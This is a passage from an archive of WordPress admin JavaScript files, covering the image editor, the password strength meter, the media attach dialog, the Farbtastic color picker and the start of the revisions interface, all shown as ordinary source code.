'#imgedit-sel-width-' + postid ), selH = $( '#imgedit-sel-height-' + postid ), sizer = this.hold.sizer, hold = this.hold; c = c || 0; if ( !c || ( c.width < 3 && c.height < 3 ) ) { this.setDisabled( $( '.imgedit-crop', '#imgedit-panel-' + postid ), 1 ); this.setDisabled( $( '#imgedit-crop-sel-' + postid ), 1 ); $('#imgedit-sel-width-' + postid).val(''); $('#imgedit-sel-height-' + postid).val(''); $('#imgedit-start-x-' + postid).val('0'); $('#imgedit-start-y-' + postid).val('0'); $('#imgedit-selection-' + postid).val(''); return false; } // adjust the selection within the bounds of the image on 100% scale var excessW = hold.w - ( Math.round( c.x1 / sizer ) + parseInt( selW.val() ) ); var excessH = hold.h - ( Math.round( c.y1 / sizer ) + parseInt( selH.val() ) ); var x = Math.round( c.x1 / sizer ) + Math.min( 0, excessW ); var y = Math.round( c.y1 / sizer ) + Math.min( 0, excessH ); // use 100% scaling to prevent rounding errors sel = { 'r': 1, 'x': x, 'y': y, 'w': selW.val(), 'h': selH.val() }; this.setDisabled($('.imgedit-crop', '#imgedit-panel-' + postid), 1); $('#imgedit-selection-' + postid).val( JSON.stringify(sel) ); }, /** * Closes the image editor. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * @param {boolean} warn Warning message. * * @return {void|boolean} Returns false if there is a warning. */ close : function(postid, warn) { warn = warn || false; if ( warn && this.notsaved(postid) ) { return false; } this.iasapi = {}; this.hold = {}; // If we've loaded the editor in the context of a Media Modal, // then switch to the previous view, whatever that might have been. if ( this._view ){ this._view.back(); } // In case we are not accessing the image editor in the context of a View, // close the editor the old-school way. else { $('#image-editor-' + postid).fadeOut('fast', function() { $( '#media-head-' + postid ).fadeIn( 'fast', function() { // Move focus back to the Edit Image button. Runs also when saving. $( '#imgedit-open-btn-' + postid ).trigger( 'focus' ); }); $(this).empty(); }); } }, /** * Checks if the image edit history is saved. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * * @return {boolean} Returns true if the history is not saved. */ notsaved : function(postid) { var h = $('#imgedit-history-' + postid).val(), history = ( h !== '' ) ? JSON.parse(h) : [], pop = this.intval( $('#imgedit-undone-' + postid).val() ); if ( pop < history.length ) { if ( confirm( $('#imgedit-leaving-' + postid).text() ) ) { return false; } return true; } return false; }, /** * Adds an image edit action to the history. * * @since 2.9.0 * * @memberof imageEdit * * @param {Object} op The original position. * @param {number} postid The post ID. * @param {string} nonce The nonce. * * @return {void} */ addStep : function(op, postid, nonce) { var t = this, elem = $('#imgedit-history-' + postid), history = ( elem.val() !== '' ) ? JSON.parse( elem.val() ) : [], undone = $( '#imgedit-undone-' + postid ), pop = t.intval( undone.val() ); while ( pop > 0 ) { history.pop(); pop--; } undone.val(0); // Reset. history.push(op); elem.val( JSON.stringify(history) ); t.refreshEditor(postid, nonce, function() { t.setDisabled($('#image-undo-' + postid), true); t.setDisabled($('#image-redo-' + postid), false); }); }, /** * Rotates the image. * * @since 2.9.0 * * @memberof imageEdit * * @param {string} angle The angle the image is rotated with. * @param {number} postid The post ID. * @param {string} nonce The nonce. * @param {Object} t The target element. * * @return {boolean} */ rotate : function(angle, postid, nonce, t) { if ( $(t).hasClass('disabled') ) { return false; } this.closePopup(t); this.addStep({ 'r': { 'r': angle, 'fw': this.hold.h, 'fh': this.hold.w }}, postid, nonce); // Clear the selection fields after rotating. $( '#imgedit-sel-width-' + postid ).val( '' ); $( '#imgedit-sel-height-' + postid ).val( '' ); this.currentCropSelection = null; }, /** * Flips the image. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} axis The axle the image is flipped on. * @param {number} postid The post ID. * @param {string} nonce The nonce. * @param {Object} t The target element. * * @return {boolean} */ flip : function (axis, postid, nonce, t) { if ( $(t).hasClass('disabled') ) { return false; } this.closePopup(t); this.addStep({ 'f': { 'f': axis, 'fw': this.hold.w, 'fh': this.hold.h }}, postid, nonce); // Clear the selection fields after flipping. $( '#imgedit-sel-width-' + postid ).val( '' ); $( '#imgedit-sel-height-' + postid ).val( '' ); this.currentCropSelection = null; }, /** * Crops the image. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * @param {string} nonce The nonce. * @param {Object} t The target object. * * @return {void|boolean} Returns false if the crop button is disabled. */ crop : function (postid, nonce, t) { var sel = $('#imgedit-selection-' + postid).val(), w = this.intval( $('#imgedit-sel-width-' + postid).val() ), h = this.intval( $('#imgedit-sel-height-' + postid).val() ); if ( $(t).hasClass('disabled') || sel === '' ) { return false; } sel = JSON.parse(sel); if ( sel.w > 0 && sel.h > 0 && w > 0 && h > 0 ) { sel.fw = w; sel.fh = h; this.addStep({ 'c': sel }, postid, nonce); } // Clear the selection fields after cropping. $( '#imgedit-sel-width-' + postid ).val( '' ); $( '#imgedit-sel-height-' + postid ).val( '' ); $( '#imgedit-start-x-' + postid ).val( '0' ); $( '#imgedit-start-y-' + postid ).val( '0' ); this.currentCropSelection = null; }, /** * Undoes an image edit action. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * @param {string} nonce The nonce. * * @return {void|false} Returns false if the undo button is disabled. */ undo : function (postid, nonce) { var t = this, button = $('#image-undo-' + postid), elem = $('#imgedit-undone-' + postid), pop = t.intval( elem.val() ) + 1; if ( button.hasClass('disabled') ) { return; } elem.val(pop); t.refreshEditor(postid, nonce, function() { var elem = $('#imgedit-history-' + postid), history = ( elem.val() !== '' ) ? JSON.parse( elem.val() ) : []; t.setDisabled($('#image-redo-' + postid), true); t.setDisabled(button, pop < history.length); // When undo gets disabled, move focus to the redo button to avoid a focus loss. if ( history.length === pop ) { $( '#image-redo-' + postid ).trigger( 'focus' ); } }); }, /** * Reverts a undo action. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * @param {string} nonce The nonce. * * @return {void} */ redo : function(postid, nonce) { var t = this, button = $('#image-redo-' + postid), elem = $('#imgedit-undone-' + postid), pop = t.intval( elem.val() ) - 1; if ( button.hasClass('disabled') ) { return; } elem.val(pop); t.refreshEditor(postid, nonce, function() { t.setDisabled($('#image-undo-' + postid), true); t.setDisabled(button, pop > 0); // When redo gets disabled, move focus to the undo button to avoid a focus loss. if ( 0 === pop ) { $( '#image-undo-' + postid ).trigger( 'focus' ); } }); }, /** * Sets the selection for the height and width in pixels. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * @param {jQuery} el The element containing the values. * * @return {void|boolean} Returns false when the x or y value is lower than 1, * void when the value is not numeric or when the operation * is successful. */ setNumSelection : function( postid, el ) { var sel, elX = $('#imgedit-sel-width-' + postid), elY = $('#imgedit-sel-height-' + postid), elX1 = $('#imgedit-start-x-' + postid), elY1 = $('#imgedit-start-y-' + postid), xS = this.intval( elX1.val() ), yS = this.intval( elY1.val() ), x = this.intval( elX.val() ), y = this.intval( elY.val() ), img = $('#image-preview-' + postid), imgh = img.height(), imgw = img.width(), sizer = this.hold.sizer, x1, y1, x2, y2, ias = this.iasapi; this.currentCropSelection = null; if ( false === this.validateNumeric( el ) ) { return; } if ( x < 1 ) { elX.val(''); return false; } if ( y < 1 ) { elY.val(''); return false; } if ( ( ( x && y ) || ( xS && yS ) ) && ( sel = ias.getSelection() ) ) { x2 = sel.x1 + Math.round( x * sizer ); y2 = sel.y1 + Math.round( y * sizer ); x1 = ( xS === sel.x1 ) ? sel.x1 : Math.round( xS * sizer ); y1 = ( yS === sel.y1 ) ? sel.y1 : Math.round( yS * sizer ); if ( x2 > imgw ) { x1 = 0; x2 = imgw; elX.val( Math.min( this.hold.w, Math.round( x2 / sizer ) ) ); } if ( y2 > imgh ) { y1 = 0; y2 = imgh; elY.val( Math.min( this.hold.h, Math.round( y2 / sizer ) ) ); } ias.setSelection( x1, y1, x2, y2 ); ias.update(); this.setCropSelection(postid, ias.getSelection()); this.currentCropSelection = ias.getSelection(); } }, /** * Rounds a number to a whole. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} num The number. * * @return {number} The number rounded to a whole number. */ round : function(num) { var s; num = Math.round(num); if ( this.hold.sizer > 0.6 ) { return num; } s = num.toString().slice(-1); if ( '1' === s ) { return num - 1; } else if ( '9' === s ) { return num + 1; } return num; }, /** * Sets a locked aspect ratio for the selection. * * @since 2.9.0 * * @memberof imageEdit * * @param {number} postid The post ID. * @param {number} n The ratio to set. * @param {jQuery} el The element containing the values. * * @return {void} */ setRatioSelection : function(postid, n, el) { var sel, r, x = this.intval( $('#imgedit-crop-width-' + postid).val() ), y = this.intval( $('#imgedit-crop-height-' + postid).val() ), h = $('#image-preview-' + postid).height(); if ( false === this.validateNumeric( el ) ) { this.iasapi.setOptions({ aspectRatio: null }); return; } if ( x && y ) { this.iasapi.setOptions({ aspectRatio: x + ':' + y }); if ( sel = this.iasapi.getSelection(true) ) { r = Math.ceil( sel.y1 + ( ( sel.x2 - sel.x1 ) / ( x / y ) ) ); if ( r > h ) { r = h; var errorMessage = __( 'Selected crop ratio exceeds the boundaries of the image. Try a different ratio.' ); $( '#imgedit-crop-' + postid ) .prepend( '<div class="notice notice-error" tabindex="-1" role="alert"><p>' + errorMessage + '</p></div>' ); wp.a11y.speak( errorMessage, 'assertive' ); if ( n ) { $('#imgedit-crop-height-' + postid).val( '' ); } else { $('#imgedit-crop-width-' + postid).val( ''); } } else { var error = $( '#imgedit-crop-' + postid ).find( '.notice-error' ); if ( 'undefined' !== typeof( error ) ) { error.remove(); } } this.iasapi.setSelection( sel.x1, sel.y1, sel.x2, r ); this.iasapi.update(); } } }, /** * Validates if a value in a jQuery.HTMLElement is numeric. * * @since 4.6.0 * * @memberof imageEdit * * @param {jQuery} el The html element. * * @return {void|boolean} Returns false if the value is not numeric, * void when it is. */ validateNumeric: function( el ) { if ( false === this.intval( $( el ).val() ) ) { $( el ).val( '' ); return false; } } }; })(jQuery); js/password-strength-meter.js 0000644 00000010214 15233246127 0012331 0 ustar 00 /** * @output wp-admin/js/password-strength-meter.js */ /* global zxcvbn */ window.wp = window.wp || {}; (function($){ var __ = wp.i18n.__, sprintf = wp.i18n.sprintf; /** * Contains functions to determine the password strength. * * @since 3.7.0 * * @namespace */ wp.passwordStrength = { /** * Determines the strength of a given password. * * Compares first password to the password confirmation. * * @since 3.7.0 * * @param {string} password1 The subject password. * @param {Array} disallowedList An array of words that will lower the entropy of * the password. * @param {string} password2 The password confirmation. * * @return {number} The password strength score. */ meter : function( password1, disallowedList, password2 ) { if ( ! Array.isArray( disallowedList ) ) disallowedList = [ disallowedList.toString() ]; if (password1 != password2 && password2 && password2.length > 0) return 5; if ( 'undefined' === typeof window.zxcvbn ) { // Password strength unknown. return -1; } var result = zxcvbn( password1, disallowedList ); return result.score; }, /** * Builds an array of words that should be penalized. * * Certain words need to be penalized because it would lower the entropy of a * password if they were used. The disallowedList is based on user input fields such * as username, first name, email etc. * * @since 3.7.0 * @deprecated 5.5.0 Use {@see 'userInputDisallowedList()'} instead. * * @return {string[]} The array of words to be disallowed. */ userInputBlacklist : function() { window.console.log( sprintf( /* translators: 1: Deprecated function name, 2: Version number, 3: Alternative function name. */ __( '%1$s is deprecated since version %2$s! Use %3$s instead. Please consider writing more inclusive code.' ), 'wp.passwordStrength.userInputBlacklist()', '5.5.0', 'wp.passwordStrength.userInputDisallowedList()' ) ); return wp.passwordStrength.userInputDisallowedList(); }, /** * Builds an array of words that should be penalized. * * Certain words need to be penalized because it would lower the entropy of a * password if they were used. The disallowed list is based on user input fields such * as username, first name, email etc. * * @since 5.5.0 * * @return {string[]} The array of words to be disallowed. */ userInputDisallowedList : function() { var i, userInputFieldsLength, rawValuesLength, currentField, rawValues = [], disallowedList = [], userInputFields = [ 'user_login', 'first_name', 'last_name', 'nickname', 'display_name', 'email', 'url', 'description', 'weblog_title', 'admin_email' ]; // Collect all the strings we want to disallow. rawValues.push( document.title ); rawValues.push( document.URL ); userInputFieldsLength = userInputFields.length; for ( i = 0; i < userInputFieldsLength; i++ ) { currentField = $( '#' + userInputFields[ i ] ); if ( 0 === currentField.length ) { continue; } rawValues.push( currentField[0].defaultValue ); rawValues.push( currentField.val() ); } /* * Strip out non-alphanumeric characters and convert each word to an * individual entry. */ rawValuesLength = rawValues.length; for ( i = 0; i < rawValuesLength; i++ ) { if ( rawValues[ i ] ) { disallowedList = disallowedList.concat( rawValues[ i ].replace( /\W/g, ' ' ).split( ' ' ) ); } } /* * Remove empty values, short words and duplicates. Short words are likely to * cause many false positives. */ disallowedList = $.grep( disallowedList, function( value, key ) { if ( '' === value || 4 > value.length ) { return false; } return $.inArray( value, disallowedList ) === key; }); return disallowedList; } }; // Backward compatibility. /** * Password strength meter function. * * @since 2.5.0 * @deprecated 3.7.0 Use wp.passwordStrength.meter instead. * * @global * * @type {wp.passwordStrength.meter} */ window.passwordStrength = wp.passwordStrength.meter; })(jQuery); js/media.js 0000644 00000015155 15233246127 0006611 0 ustar 00 /** * Creates a dialog containing posts that can have a particular media attached * to it. * * @since 2.7.0 * @output wp-admin/js/media.js * * @namespace findPosts * * @requires jQuery */ /* global ajaxurl, _wpMediaGridSettings, showNotice, findPosts, ClipboardJS */ ( function( $ ){ window.findPosts = { /** * Opens a dialog to attach media to a post. * * Adds an overlay prior to retrieving a list of posts to attach the media to. * * @since 2.7.0 * * @memberOf findPosts * * @param {string} af_name The name of the affected element. * @param {string} af_val The value of the affected post element. * * @return {boolean} Always returns false. */ open: function( af_name, af_val ) { var overlay = $( '.ui-find-overlay' ); if ( overlay.length === 0 ) { $( 'body' ).append( '<div class="ui-find-overlay"></div>' ); findPosts.overlay(); } overlay.show(); if ( af_name && af_val ) { // #affected is a hidden input field in the dialog that keeps track of which media should be attached. $( '#affected' ).attr( 'name', af_name ).val( af_val ); } $( '#find-posts' ).show(); // Close the dialog when the escape key is pressed. $('#find-posts-input').trigger( 'focus' ).on( 'keyup', function( event ){ if ( event.which == 27 ) { findPosts.close(); } }); // Retrieves a list of applicable posts for media attachment and shows them. findPosts.send(); return false; }, /** * Clears the found posts lists before hiding the attach media dialog. * * @since 2.7.0 * * @memberOf findPosts * * @return {void} */ close: function() { $('#find-posts-response').empty(); $('#find-posts').hide(); $( '.ui-find-overlay' ).hide(); }, /** * Binds a click event listener to the overlay which closes the attach media * dialog. * * @since 3.5.0 * * @memberOf findPosts * * @return {void} */ overlay: function() { $( '.ui-find-overlay' ).on( 'click', function () { findPosts.close(); }); }, /** * Retrieves and displays posts based on the search term. * * Sends a post request to the admin_ajax.php, requesting posts based on the * search term provided by the user. Defaults to all posts if no search term is * provided. * * @since 2.7.0 * * @memberOf findPosts * * @return {void} */ send: function() { var post = { ps: $( '#find-posts-input' ).val(), action: 'find_posts', _ajax_nonce: $('#_ajax_nonce').val() }, spinner = $( '.find-box-search .spinner' ); spinner.addClass( 'is-active' ); /** * Send a POST request to admin_ajax.php, hide the spinner and replace the list * of posts with the response data. If an error occurs, display it. */ $.ajax( ajaxurl, { type: 'POST', data: post, dataType: 'json' }).always( function() { spinner.removeClass( 'is-active' ); }).done( function( x ) { if ( ! x.success ) { $( '#find-posts-response' ).text( wp.i18n.__( 'An error has occurred. Please reload the page and try again.' ) ); } $( '#find-posts-response' ).html( x.data ); }).fail( function() { $( '#find-posts-response' ).text( wp.i18n.__( 'An error has occurred. Please reload the page and try again.' ) ); }); } }; /** * Initializes the file once the DOM is fully loaded and attaches events to the * various form elements. * * @return {void} */ $( function() { var settings, $mediaGridWrap = $( '#wp-media-grid' ), copyAttachmentURLClipboard = new ClipboardJS( '.copy-attachment-url.media-library' ), copyAttachmentURLSuccessTimeout, previousSuccessElement = null; // Opens a manage media frame into the grid. if ( $mediaGridWrap.length && window.wp && window.wp.media ) { settings = _wpMediaGridSettings; var frame = window.wp.media({ frame: 'manage', container: $mediaGridWrap, library: settings.queryVars }).open(); // Fire a global ready event. $mediaGridWrap.trigger( 'wp-media-grid-ready', frame ); } // Prevents form submission if no post has been selected. $( '#find-posts-submit' ).on( 'click', function( event ) { if ( ! $( '#find-posts-response input[type="radio"]:checked' ).length ) event.preventDefault(); }); // Submits the search query when hitting the enter key in the search input. $( '#find-posts .find-box-search :input' ).on( 'keypress', function( event ) { if ( 13 == event.which ) { findPosts.send(); return false; } }); // Binds the click event to the search button. $( '#find-posts-search' ).on( 'click', findPosts.send ); // Binds the close dialog click event. $( '#find-posts-close' ).on( 'click', findPosts.close ); // Binds the bulk action events to the submit buttons. $( '#doaction' ).on( 'click', function( event ) { /* * Handle the bulk action based on its value. */ $( 'select[name="action"]' ).each( function() { var optionValue = $( this ).val(); if ( 'attach' === optionValue ) { event.preventDefault(); findPosts.open(); } else if ( 'delete' === optionValue ) { if ( ! showNotice.warn() ) { event.preventDefault(); } } }); }); /** * Enables clicking on the entire table row. * * @return {void} */ $( '.find-box-inside' ).on( 'click', 'tr', function() { $( this ).find( '.found-radio input' ).prop( 'checked', true ); }); /** * Handles media list copy media URL button. * * @since 6.0.0 * * @param {MouseEvent} event A click event. * @return {void} */ copyAttachmentURLClipboard.on( 'success', function( event ) { var triggerElement = $( event.trigger ), successElement = $( '.success', triggerElement.closest( '.copy-to-clipboard-container' ) ); // Clear the selection and move focus back to the trigger. event.clearSelection(); // Checking if the previousSuccessElement is present, adding the hidden class to it. if ( previousSuccessElement ) { previousSuccessElement.addClass( 'hidden' ); } // Show success visual feedback. clearTimeout( copyAttachmentURLSuccessTimeout ); successElement.removeClass( 'hidden' ); // Hide success visual feedback after 3 seconds since last success and unfocus the trigger. copyAttachmentURLSuccessTimeout = setTimeout( function() { successElement.addClass( 'hidden' ); // No need to store the previous success element further. previousSuccessElement = null; }, 3000 ); previousSuccessElement = successElement; // Handle success audible feedback. wp.a11y.speak( wp.i18n.__( 'The file URL has been copied to your clipboard' ) ); } ); }); })( jQuery ); js/farbtastic.js 0000644 00000017251 15233246127 0007653 0 ustar 00 /*! * Farbtastic: jQuery color picker plug-in v1.3u * https://github.com/mattfarina/farbtastic * * Licensed under the GPL license: * http://www.gnu.org/licenses/gpl.html */ /** * Modified for WordPress: replaced deprecated jQuery methods. * See https://core.trac.wordpress.org/ticket/57946. */ (function($) { $.fn.farbtastic = function (options) { $.farbtastic(this, options); return this; }; $.farbtastic = function (container, callback) { var container = $(container).get(0); return container.farbtastic || (container.farbtastic = new $._farbtastic(container, callback)); }; $._farbtastic = function (container, callback) { // Store farbtastic object var fb = this; // Insert markup $(container).html('<div class="farbtastic"><div class="color"></div><div class="wheel"></div><div class="overlay"></div><div class="h-marker marker"></div><div class="sl-marker marker"></div></div>'); var e = $('.farbtastic', container); fb.wheel = $('.wheel', container).get(0); // Dimensions fb.radius = 84; fb.square = 100; fb.width = 194; // Fix background PNGs in IE6 if (navigator.appVersion.match(/MSIE [0-6]\./)) { $('*', e).each(function () { if (this.currentStyle.backgroundImage != 'none') { var image = this.currentStyle.backgroundImage; image = this.currentStyle.backgroundImage.substring(5, image.length - 2); $(this).css({ 'backgroundImage': 'none', 'filter': "progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true, sizingMethod=crop, src='" + image + "')" }); } }); } /** * Link to the given element(s) or callback. */ fb.linkTo = function (callback) { // Unbind previous nodes if (typeof fb.callback == 'object') { $(fb.callback).off('keyup', fb.updateValue); } // Reset color fb.color = null; // Bind callback or elements if (typeof callback == 'function') { fb.callback = callback; } else if (typeof callback == 'object' || typeof callback == 'string') { fb.callback = $(callback); fb.callback.on('keyup', fb.updateValue); if (fb.callback.get(0).value) { fb.setColor(fb.callback.get(0).value); } } return this; }; fb.updateValue = function (event) { if (this.value && this.value != fb.color) { fb.setColor(this.value); } }; /** * Change color with HTML syntax #123456 */ fb.setColor = function (color) { var unpack = fb.unpack(color); if (fb.color != color && unpack) { fb.color = color; fb.rgb = unpack; fb.hsl = fb.RGBToHSL(fb.rgb); fb.updateDisplay(); } return this; }; /** * Change color with HSL triplet [0..1, 0..1, 0..1] */ fb.setHSL = function (hsl) { fb.hsl = hsl; fb.rgb = fb.HSLToRGB(hsl); fb.color = fb.pack(fb.rgb); fb.updateDisplay(); return this; }; ///////////////////////////////////////////////////// /** * Retrieve the coordinates of the given event relative to the center * of the widget. */ fb.widgetCoords = function (event) { var offset = $(fb.wheel).offset(); return { x: (event.pageX - offset.left) - fb.width / 2, y: (event.pageY - offset.top) - fb.width / 2 }; }; /** * Mousedown handler */ fb.mousedown = function (event) { // Capture mouse if (!document.dragging) { $(document).on('mousemove', fb.mousemove).on('mouseup', fb.mouseup); document.dragging = true; } // Check which area is being dragged var pos = fb.widgetCoords(event); fb.circleDrag = Math.max(Math.abs(pos.x), Math.abs(pos.y)) * 2 > fb.square; // Process fb.mousemove(event); return false; }; /** * Mousemove handler */ fb.mousemove = function (event) { // Get coordinates relative to color picker center var pos = fb.widgetCoords(event); // Set new HSL parameters if (fb.circleDrag) { var hue = Math.atan2(pos.x, -pos.y) / 6.28; if (hue < 0) hue += 1; fb.setHSL([hue, fb.hsl[1], fb.hsl[2]]); } else { var sat = Math.max(0, Math.min(1, -(pos.x / fb.square) + .5)); var lum = Math.max(0, Math.min(1, -(pos.y / fb.square) + .5)); fb.setHSL([fb.hsl[0], sat, lum]); } return false; }; /** * Mouseup handler */ fb.mouseup = function () { // Uncapture mouse $(document).off('mousemove', fb.mousemove); $(document).off('mouseup', fb.mouseup); document.dragging = false; }; /** * Update the markers and styles */ fb.updateDisplay = function () { // Markers var angle = fb.hsl[0] * 6.28; $('.h-marker', e).css({ left: Math.round(Math.sin(angle) * fb.radius + fb.width / 2) + 'px', top: Math.round(-Math.cos(angle) * fb.radius + fb.width / 2) + 'px' }); $('.sl-marker', e).css({ left: Math.round(fb.square * (.5 - fb.hsl[1]) + fb.width / 2) + 'px', top: Math.round(fb.square * (.5 - fb.hsl[2]) + fb.width / 2) + 'px' }); // Saturation/Luminance gradient $('.color', e).css('backgroundColor', fb.pack(fb.HSLToRGB([fb.hsl[0], 1, 0.5]))); // Linked elements or callback if (typeof fb.callback == 'object') { // Set background/foreground color $(fb.callback).css({ backgroundColor: fb.color, color: fb.hsl[2] > 0.5 ? '#000' : '#fff' }); // Change linked value $(fb.callback).each(function() { if (this.value && this.value != fb.color) { this.value = fb.color; } }); } else if (typeof fb.callback == 'function') { fb.callback.call(fb, fb.color); } }; /* Various color utility functions */ fb.pack = function (rgb) { var r = Math.round(rgb[0] * 255); var g = Math.round(rgb[1] * 255); var b = Math.round(rgb[2] * 255); return '#' + (r < 16 ? '0' : '') + r.toString(16) + (g < 16 ? '0' : '') + g.toString(16) + (b < 16 ? '0' : '') + b.toString(16); }; fb.unpack = function (color) { if (color.length == 7) { return [parseInt('0x' + color.substring(1, 3)) / 255, parseInt('0x' + color.substring(3, 5)) / 255, parseInt('0x' + color.substring(5, 7)) / 255]; } else if (color.length == 4) { return [parseInt('0x' + color.substring(1, 2)) / 15, parseInt('0x' + color.substring(2, 3)) / 15, parseInt('0x' + color.substring(3, 4)) / 15]; } }; fb.HSLToRGB = function (hsl) { var m1, m2, r, g, b; var h = hsl[0], s = hsl[1], l = hsl[2]; m2 = (l <= 0.5) ? l * (s + 1) : l + s - l*s; m1 = l * 2 - m2; return [this.hueToRGB(m1, m2, h+0.33333), this.hueToRGB(m1, m2, h), this.hueToRGB(m1, m2, h-0.33333)]; }; fb.hueToRGB = function (m1, m2, h) { h = (h < 0) ? h + 1 : ((h > 1) ? h - 1 : h); if (h * 6 < 1) return m1 + (m2 - m1) * h * 6; if (h * 2 < 1) return m2; if (h * 3 < 2) return m1 + (m2 - m1) * (0.66666 - h) * 6; return m1; }; fb.RGBToHSL = function (rgb) { var min, max, delta, h, s, l; var r = rgb[0], g = rgb[1], b = rgb[2]; min = Math.min(r, Math.min(g, b)); max = Math.max(r, Math.max(g, b)); delta = max - min; l = (min + max) / 2; s = 0; if (l > 0 && l < 1) { s = delta / (l < 0.5 ? (2 * l) : (2 - 2 * l)); } h = 0; if (delta > 0) { if (max == r && max != g) h += (g - b) / delta; if (max == g && max != b) h += (2 + (b - r) / delta); if (max == b && max != r) h += (4 + (r - g) / delta); h /= 6; } return [h, s, l]; }; // Install mousedown handler (the others are set on the document on-demand) $('*', e).on('mousedown', fb.mousedown); // Init color fb.setColor('#000000'); // Set linked elements/callback if (callback) { fb.linkTo(callback); } }; })(jQuery); js/revisions.js 0000644 00000103651 15233246127 0007552 0 ustar 00 /** * @file Revisions interface functions, Backbone classes and * the revisions.php document.ready bootstrap. * * @output wp-admin/js/revisions.js */ /* global isRtl */ window.wp = window.wp || {}; (function($) { var revisions; /** * Expose the module in window.wp.revisions. */ revisions = wp.revisions = { model: {}, view: {}, controller: {} }; // Link post revisions data served from the back end. revisions.settings = window._wpRevisionsSettings || {}; // For debugging. revisions.debug = false; /** * wp.revisions.log * * A debugging utility for revisions. Works only when a * debug flag is on and the browser supports it. */ revisions.log = function() { if ( window.console && revisions.debug ) { window.console.log.apply( window.console, arguments ); } }; // Handy functions to help with positioning. $.fn.allOffsets = function() { var offset = this.offset() || {top: 0, left: 0}, win = $(window); return _.extend( offset, { right: win.width() - offset.left - this.outerWidth(), bottom: win.height() - offset.top - this.outerHeight() }); }; $.fn.allPositions = function() { var position = this.position() || {top: 0, left: 0}, parent = this.parent(); return _.extend( position, { right: parent.outerWidth() - position.left - this.outerWidth(), bottom: parent.outerHeight() - position.top - this.outerHeight() }); }; /** * ======================================================================== * MODELS * ======================================================================== */ revisions.model.Slider = Backbone.Model.extend({ defaults: { value: null, values: null, min: 0, max: 1, step: 1, range: false, compareTwoMode: false }, initialize: function( options ) { this.frame = options.frame; this.revisions = options.revisions; // Listen for changes to the revisions or mode from outside. this.listenTo( this.frame, 'update:revisions', this.receiveRevisions ); this.listenTo( this.frame, 'change:compareTwoMode', this.updateMode ); // Listen for internal changes. this.on( 'change:from', this.handleLocalChanges ); this.on( 'change:to', this.handleLocalChanges ); this.on( 'change:compareTwoMode', this.updateSliderSettings ); this.on( 'update:revisions', this.updateSliderSettings ); // Listen for changes to the hovered revision. this.on( 'change:hoveredRevision', this.hoverRevision ); this.set({ max: this.revisions.length - 1, compareTwoMode: this.frame.get('compareTwoMode'), from: this.frame.get('from'), to: this.frame.get('to') }); this.updateSliderSettings(); }, getSliderValue: function( a, b ) { return isRtl ? this.revisions.length - this.revisions.indexOf( this.get(a) ) - 1 : this.revisions.indexOf( this.get(b) ); }, updateSliderSettings: function() { if ( this.get('compareTwoMode') ) { this.set({ values: [ this.getSliderValue( 'to', 'from' ), this.getSliderValue( 'from', 'to' ) ], value: null, range: true // Ensures handles cannot cross. }); } else { this.set({ value: this.getSliderValue( 'to', 'to' ), values: null, range: false }); } this.trigger( 'update:slider' ); }, // Called when a revision is hovered. hoverRevision: function( model, value ) { this.trigger( 'hovered:revision', value ); }, // Called when `compareTwoMode` changes. updateMode: function( model, value ) { this.set({ compareTwoMode: value }); }, // Called when `from` or `to` changes in the local model. handleLocalChanges: function() { this.frame.set({ from: this.get('from'), to: this.get('to') }); }, // Receives revisions changes from outside the model. receiveRevisions: function( from, to ) { // Bail if nothing changed. if ( this.get('from') === from && this.get('to') === to ) { return; } this.set({ from: from, to: to }, { silent: true }); this.trigger( 'update:revisions', from, to ); } }); revisions.model.Tooltip = Backbone.Model.extend({ defaults: { revision: null, offset: {}, hovering: false, // Whether the mouse is hovering. scrubbing: false // Whether the mouse is scrubbing. }, initialize: function( options ) { this.frame = options.frame; this.revisions = options.revisions; this.slider = options.slider; this.listenTo( this.slider, 'hovered:revision', this.updateRevision ); this.listenTo( this.slider, 'change:hovering', this.setHovering ); this.listenTo( this.slider, 'change:scrubbing', this.setScrubbing ); }, updateRevision: function( revision ) { this.set({ revision: revision }); }, setHovering: function( model, value ) { this.set({ hovering: value }); }, setScrubbing: function( model, value ) { this.set({ scrubbing: value }); } }); revisions.model.Revision = Backbone.Model.extend({}); /** * wp.revisions.model.Revisions * * A collection of post revisions. */ revisions.model.Revisions = Backbone.Collection.extend({ model: revisions.model.Revision, initialize: function() { _.bindAll( this, 'next', 'prev' ); }, next: function( revision ) { var index = this.indexOf( revision ); if ( index !== -1 && index !== this.length - 1 ) { return this.at( index + 1 ); } }, prev: function( revision ) { var index = this.indexOf( revision ); if ( index !== -1 && index !== 0 ) { return this.at( index - 1 ); } } }); revisions.model.Field = Backbone.Model.extend({}); revisions.model.Fields = Backbone.Collection.extend({ model: revisions.model.Field }); revisions.model.Diff = Backbone.Model.extend({ initialize: function() { var fields = this.get('fields'); this.unset('fields'); this.fields = new revisions.model.Fields( fields ); } }); revisions.model.Diffs = Backbone.Collection.extend({ initialize: function( models, options ) { _.bindAll( this, 'getClosestUnloaded' ); this.loadAll = _.once( this._loadAll ); this.revisions = options.revisions; this.postId = options.postId; this.requests = {}; }, model: revisions.model.Diff, ensure: function( id, context ) { var diff = this.get( id ), request = this.requests[ id ], deferred = $.Deferred(), ids = {}, from = id.split(':')[0], to = id.split(':')[1]; ids[id] = true; wp.revisions.log( 'ensure', id ); this.trigger( 'ensure', ids, from, to, deferred.promise() ); if ( diff ) { deferred.resolveWith( context, [ diff ] ); } else { this.trigger( 'ensure:load', ids, from, to, deferred.promise() ); _.each( ids, _.bind( function( id ) { // Remove anything that has an ongoing request. if ( this.requests[ id ] ) { delete ids[ id ]; } // Remove anything we already have. if ( this.get( id ) ) { delete ids[ id ]; } }, this ) ); if ( ! request ) { // Always include the ID that started this ensure. ids[ id ] = true; request = this.load( _.keys( ids ) ); } request.done( _.bind( function() { deferred.resolveWith( context, [ this.get( id ) ] ); }, this ) ).fail( _.bind( function() { deferred.reject(); }) ); } return deferred.promise(); }, // Returns an array of proximal diffs. getClosestUnloaded: function( ids, centerId ) { var self = this; return _.chain([0].concat( ids )).initial().zip( ids ).sortBy( function( pair ) { return Math.abs( centerId - pair[1] ); }).map( function( pair ) { 